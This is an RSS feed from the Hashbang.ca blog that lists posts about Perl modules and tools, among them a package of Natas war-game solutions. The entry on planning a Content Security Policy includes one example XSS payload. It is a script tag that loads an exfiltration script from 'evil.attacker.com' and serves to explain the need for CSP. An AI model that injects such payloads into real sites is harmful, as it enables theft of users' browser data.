<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Release on Hashbang.ca</title>
		<link>https://hashbang.ca/tag/release</link>
		<description>Recent content in Release on Hashbang.ca</description>
		<generator>Hugo</generator>
		<language>en-us</language>
		
		
		
		
			<lastBuildDate>Sun, 18 Aug 2013 15:23:00 -0400</lastBuildDate>
		
			<atom:link href="https://hashbang.ca/tag/release/index.xml" rel="self" type="application/rss+xml" />
			<item>
				<title>Introducing Hack::Natas</title>
				<link>https://hashbang.ca/post/introducing-hacknatas</link>
				<pubDate>Sun, 18 Aug 2013 15:23:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/introducing-hacknatas/</guid>
				<description>&lt;p&gt;Last Monday, I &lt;a href=&#34;https://hashbang.ca/post/presenting-my-natas-solutions-at-nslug&#34;&gt;presented&lt;/a&gt; my solutions to the Natas server-side security war games at NSLUG. Afterwards, I spent some time to clean up my code, and I&amp;rsquo;ve now published it to CPAN as &lt;a href=&#34;https://metacpan.org/module/Hack::Natas&#34;&gt;&lt;code&gt;Hack::Natas&lt;/code&gt;&lt;/a&gt;, which comes with modules and scripts to solve level 15 and 16 in an automated way, plus walkthroughs for all the levels up to 17 written in Markdown (those are almost the same as my &lt;a href=&#34;https://hashbang.ca/tag/natas&#34;&gt;blog posts&lt;/a&gt;, so you&amp;rsquo;re not missing out by looking at only one or the other).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Introducing mvr: like mv, but clever</title>
				<link>https://hashbang.ca/post/introducing-mvr-like-mv-but-clever</link>
				<pubDate>Fri, 19 Apr 2013 19:11:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/introducing-mvr-like-mv-but-clever/</guid>
				<description>&lt;p&gt;I wanted to move a large number of files from one directory to another, but the target directory already had many of the filenames already used. This is a common enough problem &amp;ndash; digital cameras use &lt;code&gt;DSC#&lt;/code&gt;, video downloaders often append numbers to get a unique filename, and so on. In both those examples, the sequence restarts if you empty the program&amp;rsquo;s work directory. So, you&amp;rsquo;ll end up with &lt;code&gt;DSC0001.jpg&lt;/code&gt; every time you empty your camera&amp;rsquo;s memory card. If you&amp;rsquo;re trying to move such files into a single directory, you&amp;rsquo;ll get conflicts every time.&lt;/p&gt;&#xA;&lt;p&gt;Instead of manually renaming the files before transferring them, I wrote a simple script to give each file a unique name in the destination directory.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Introducing Noose: just enough OO to hang yourself</title>
				<link>https://hashbang.ca/post/introducing-noose-just-enough-oo-to-hang-yourself</link>
				<pubDate>Thu, 07 Feb 2013 01:26:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/introducing-noose-just-enough-oo-to-hang-yourself/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://metacpan.org/module/Moose&#34;&gt;Moose&lt;/a&gt; led to &lt;a href=&#34;https://metacpan.org/module/Mouse&#34;&gt;Mouse&lt;/a&gt; led to &lt;a href=&#34;https://metacpan.org/module/Moo&#34;&gt;Moo&lt;/a&gt; led to &lt;a href=&#34;https://metacpan.org/module/Mo&#34;&gt;Mo&lt;/a&gt; led finally to &lt;a href=&#34;https://metacpan.org/module/M&#34;&gt;M&lt;/a&gt;, which gives you the least object-orientation possible, which is none at all. I quipped that Perl desperately needed &lt;strong&gt;a new OO module called Noose &amp;ndash; &lt;a href=&#34;https://twitter.com/mikedoherty_ca/status/115258513390960640&#34;&gt;&lt;em&gt;just&lt;/em&gt; enough object orientation to hang yourself&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Planning a Content-Security-Policy with Dancer</title>
				<link>https://hashbang.ca/post/planning-a-content-security-policy-with-dancer</link>
				<pubDate>Fri, 01 Feb 2013 10:06:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/planning-a-content-security-policy-with-dancer/</guid>
				<description>&lt;p&gt;The &lt;a href=&#34;https://en.wikipedia.org/wiki/Same_origin_policy&#34;&gt;same-origin policy&lt;/a&gt; is a fundamental part of the security infrastructure of the web. It prevents a web site&amp;rsquo;s scripts from accessing and interacting with scripts used on other sites. This helps keep your data safe because if your bank&amp;rsquo;s website gives you some data, it can only be accessed by your bank&amp;rsquo;s website, and not by scripts from other websites.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a nice theory, it&amp;rsquo;d be a shame if some evidence happened to it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In the real world, attackers have found ways to get around the same-origin policy to gain access to data they&amp;rsquo;re not supposed to be able to access. For example, a web programmer might mistakenly include some user-provided input verbatim in the HTML of a webpage &amp;ndash; perhaps a username. Well, if your username is &lt;code&gt;&amp;amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;http://evil.attacker.com/exfiltrate_browser_data.js&amp;quot;&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&lt;/code&gt;, then how is the web browser supposed to know if that was intentionally put in the HTML of the page? Same-origin policies are insufficient in the face of programmer error. Enter &lt;strong&gt;Content Security Policy&lt;/strong&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Introducing File::Symlink::Atomic</title>
				<link>https://hashbang.ca/post/introducing-filesymlinkatomic</link>
				<pubDate>Sat, 26 May 2012 00:39:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/introducing-filesymlinkatomic/</guid>
				<description>&lt;p&gt;In &lt;a href=&#34;https://hashbang.ca/post/tips-tricks-from-my-4-months-at-pythian&#34;&gt;Tips &amp;amp; tricks from my 4 months at Pythian&lt;/a&gt;, I showed how to give a symlink a new target atomically. I wasn&amp;rsquo;t aware of any module to encapsulate that, so I quickly put together &lt;code&gt;File::Symlink::Atomic&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This module is useful because it eliminates the need to know how to do this safely - simply &lt;code&gt;use File::Symlink::Atomic&lt;/code&gt; and you get a drop-in replacement for &lt;code&gt;CORE::symlink&lt;/code&gt;. It creates a temporary symlink (using &lt;code&gt;File::Temp&lt;/code&gt; to get a unique pathname) pointing to your new target, then moves it into place with a &lt;code&gt;rename&lt;/code&gt; call. On POSIX systems, the rename system call &lt;a href=&#34;http://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html&#34;&gt;guarantees atomicity&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Wordpress theme for hashbang.ca</title>
				<link>https://hashbang.ca/post/wordpress-theme-for-hashbang-ca</link>
				<pubDate>Thu, 24 May 2012 00:11:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/wordpress-theme-for-hashbang-ca/</guid>
				<description>&lt;p&gt;In the past month, a number of people have asked about the theme for this blog. I was particularly flattered that someone even asked where I &lt;strong&gt;bought&lt;/strong&gt; it.&lt;/p&gt;&#xA;&lt;p&gt;It is just a customized version of Joey Robinson&amp;rsquo;s &lt;a href=&#34;http://wordpress.org/extend/themes/minimalist&#34;&gt;Minimalist&lt;/a&gt; theme. My aim was to keep the same design principles &amp;ndash; fast-loading, minimalism, readability &amp;ndash; but update it to have a more modern look. One major goal was to have a truly great font via &lt;code&gt;@font-face&lt;/code&gt; on modern browsers, so I used the &lt;a href=&#34;http://www.theleagueofmoveabletype.com/junction&#34;&gt;Junction&lt;/a&gt; font from The League of Movable Type. They&amp;rsquo;re an awesome group of &lt;a href=&#34;http://www.theleagueofmoveabletype.com/manifesto&#34;&gt;free&lt;/a&gt; font designers &amp;ndash; you should check out their other fonts too!&lt;/p&gt;</description>
			</item>
			<item>
				<title>A pastebin with almost no user interface</title>
				<link>https://hashbang.ca/post/a-pastebin-with-almost-no-user-interface</link>
				<pubDate>Sun, 15 Apr 2012 10:07:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/a-pastebin-with-almost-no-user-interface/</guid>
				<description>&lt;p&gt;I&amp;rsquo;ve always favoured pastebins that let you bin a paste and nothing more &amp;ndash; &lt;a href=&#34;http://p.defau.lt&#34;&gt;p.defau.lt&lt;/a&gt; and &lt;a href=&#34;http://sprunge.us&#34;&gt;sprunge.us&lt;/a&gt; spring to mind. I&amp;rsquo;ve made a Perl almost-clone of sprunge.us:&lt;/p&gt;&#xA;&lt;p&gt;p.hashbang.ca (since retired) now runs &lt;a href=&#34;https://github.com/doherty/WWW-Hashbang-Pastebin&#34;&gt;&lt;code&gt;WWW::Hashbang::Pastebin&lt;/code&gt;&lt;/a&gt;, a simple pastebin written with Dancer and &lt;code&gt;DBIx::Class&lt;/code&gt; that does nothing but store your text and show it back to you. The only feature beyond that is if you append a &lt;code&gt;+&lt;/code&gt;, you&amp;rsquo;ll get line numbering (no syntax highlighting). You can use an anchor to jump to any line (click the line number), and the number for that line will be highlighted.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Introducing utf8::all</title>
				<link>https://hashbang.ca/post/introducing-utf8-all</link>
				<pubDate>Thu, 21 Apr 2011 05:24:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/introducing-utf8-all/</guid>
				<description>&lt;p&gt;Perl programmers are probably all aware of the &lt;a href=&#34;https://metacpan.org/module/utf8&#34;&gt;utf8&lt;/a&gt; pragma, which turns on UTF-8 in your source code. This is actually a stumbling block for new programmers, who might think that utf8 makes your filehandles use UTF-8 by default, or automagically turns incoming data into UTF-8, and ensures outgoing data is all UTF-8 as well. Sadly, that&amp;rsquo;s not the case.&lt;/p&gt;&#xA;&lt;p&gt;However, one of the great things about perl5i is that it turns on Unicode. &lt;em&gt;All of it.&lt;/em&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>CLI Perl syntax highlighter</title>
				<link>https://hashbang.ca/post/cli-perl-syntax-highlighter</link>
				<pubDate>Mon, 31 Jan 2011 11:10:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/cli-perl-syntax-highlighter/</guid>
				<description>&lt;p&gt;Last night, someone posed a problem in &lt;code&gt;#perl-help&lt;/code&gt;. They wanted to have syntax highlighting in their shell for Perl code. I immediately suggested that they use &lt;a href=&#34;http://pygments.org&#34;&gt;Pygments&lt;/a&gt; &amp;ndash; I knew about it because I&amp;rsquo;d used it before, and I had experimented with the command line tool. But I was surprised there wasn&amp;rsquo;t already a Perl solution.&lt;/p&gt;</description>
			</item>
	</channel>
</rss>
